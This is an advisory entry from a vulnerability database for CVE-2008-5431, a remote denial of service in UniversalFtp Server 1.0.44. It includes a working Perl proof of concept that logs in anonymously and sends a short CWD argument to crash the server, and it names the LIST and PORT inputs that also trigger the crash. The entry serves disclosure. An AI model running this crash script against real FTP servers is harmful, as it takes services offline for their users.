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Home arrow SecurityAlert Database

Arrow  Topic :

UniversalFtp Server 1.0.44 Multiple Remote Denial of service


Arrow  SecurityAlert : 4722
Arrow  CVE : CVE-2008-5431
Arrow  CWE : CWE-20
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
Arrow  Credit : securfrog gmail com
Arrow  Published : 15.12.2008

Arrow  Affected Software : 5e5:teamtek_universal_ftp_server:1.0.50
5e5:teamtek_universal_ftp_server:1.0.44



Arrow  Advisory Content :  

# UniversalFtp Server 1.0.44 Multiple Remote #Denial of service

#

#@nolife : This bug has been found with a brain , ten fingers, a keyboard ,
and a laptop , one of my best Tool i ever tryed. Stay tuned for more tools
hint .

#

#

# Réponse: 226 Completed...

# Statut: Liste du répertoire complétée

# Commande : LIST aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...... .........
...........

# Réponse: 150 Directory...

# Statut: ftpcontrolsocket.cpp(1764): Waiting for replies to skip before
sending next command... caller=0p12e69f8 --> 0_o

#

#functions vuln : CWD (2 A) , LIST ( 4102 A) ,PORT (2 A)

#

#

# PoC :

use Net::FTP;

(($target = $ARGV[0])) || die "usage:$0 <target> <port>";

my $user = "anonymous";

my $pass = "something";

print "Trying to connect to :$target...\n";

$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not
connect";

print "Connected!\n";

$ftp->login($user, $pass);

$ftp->cwd("AA");

print "Poc Successfull the server should down now \n";

$ftp->quit;



Arrow  References :

http://www.securityfocus.com/archive/1/archive/1/488142/100/200/threaded




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
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